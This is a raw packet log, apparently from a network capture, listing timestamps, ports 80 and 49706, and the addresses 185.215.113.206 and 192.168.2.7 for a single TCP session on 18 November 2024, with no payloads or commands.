Nov 18, 2024 08:55:24.133552074 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133557081 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.133563995 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133574963 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133580923 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.133584976 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133595943 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.133595943 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133609056 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.133609056 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133620977 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133630991 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133635998 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.133642912 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133654118 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133660078 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.133665085 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133676052 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133681059 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.133687973 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133698940 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133699894 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.133709908 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133714914 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.133722067 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.133766890 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.133766890 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.275721073 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.275743961 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.275834084 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.275835991 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.275866032 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.275872946 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.275876999 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.275885105 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.275913000 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.275918961 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.275932074 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.275938034 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.275952101 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.275960922 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.275964022 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.275976896 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.275985003 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.275999069 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276016951 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276029110 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276043892 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276046038 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276058912 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276070118 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276079893 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276082993 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276108027 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276125908 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276197910 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276209116 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276226997 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276252031 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276256084 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276256084 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276263952 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276276112 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276283026 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276288033 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276300907 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276312113 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276319981 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276333094 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276344061 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276344061 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276356936 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276360989 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276392937 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276416063 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276423931 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276446104 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276458025 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276464939 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276468992 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276480913 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276492119 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276510954 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276534081 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276601076 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276621103 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276633978 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276643991 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276645899 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276658058 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276659012 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276679039 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276684046 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276695967 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276705980 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276706934 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276716948 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276736021 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276737928 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276755095 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276767015 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276767969 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276779890 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276791096 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276793957 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276807070 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276818991 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276822090 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276851892 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276856899 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276870012 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276873112 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276886940 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276899099 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276918888 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276922941 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.276932955 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276961088 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.276989937 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277000904 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277013063 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277028084 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277038097 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277059078 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277061939 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277080059 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277092934 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277102947 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277103901 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277116060 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277117014 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277134895 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277137995 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277148008 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277160883 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277165890 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277172089 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277195930 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277196884 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277210951 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277237892 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277264118 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277276993 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277287960 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277304888 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277318954 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277370930 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277383089 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277393103 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277405977 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277410030 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277419090 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277435064 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277453899 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277482986 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277488947 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277496099 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277523041 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277549028 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277590990 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277602911 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277615070 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277626038 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277628899 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277637959 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277643919 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277650118 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277662039 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277672052 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277673960 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277698994 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277713060 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277738094 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277750015 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277760029 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277770996 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277782917 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277801037 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277821064 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277831078 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277844906 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277857065 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277865887 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277868032 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277883053 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277892113 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277896881 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277899981 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277909994 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277932882 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277946949 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277960062 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277961969 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277978897 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.277988911 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.277990103 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278002024 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278023005 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278027058 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278057098 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278068066 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278136015 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278147936 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278158903 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278176069 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278179884 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278207064 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278228045 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278289080 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278309107 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278326988 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278340101 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278342962 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278351068 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278362036 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278362036 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278374910 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278377056 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278387070 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278398991 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278405905 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278408051 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278410912 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278423071 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278424978 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278456926 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278481007 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278507948 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278532982 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278546095 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278572083 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278630018 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278642893 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278652906 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278672934 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278692007 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278724909 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278737068 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278754950 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278769016 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278770924 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278825045 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278825045 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278897047 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278908014 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278918982 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278938055 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278939009 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278950930 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278963089 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278966904 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278983116 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.278992891 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.278995037 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279006958 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279017925 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279021978 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279031038 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279041052 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279042006 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279055119 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279071093 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279098034 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279099941 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279117107 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279129982 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279140949 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279141903 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279149055 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279158115 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279165983 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279170990 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279182911 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279192924 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279205084 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279216051 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279217958 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279227018 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279227972 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279239893 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279252052 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279259920 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279264927 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279277086 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279299974 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279319048 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279519081 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279530048 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279541016 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279555082 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279583931 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279597998 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279614925 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279632092 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279638052 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279643059 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279655933 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279668093 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279669046 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279680014 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279690981 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279702902 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279709101 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279714108 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279726028 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279727936 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279742956 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279771090 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279776096 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279783010 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279803038 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279814005 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279815912 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279828072 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279841900 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279844999 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279851913 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279870033 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279896975 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279905081 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279932022 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279942989 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.279943943 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.279977083 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.280008078 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.280024052 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.280035973 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.280047894 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.280050039 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.280081034 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.280102015 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.280102015 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.280113935 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.280133963 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.280141115 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.280145884 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.280162096 CET	49706	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:24.280165911 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.280178070 CET	80	49706	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:24.280179977 CET	49706	80	192.168.2.7	185.215.113.206
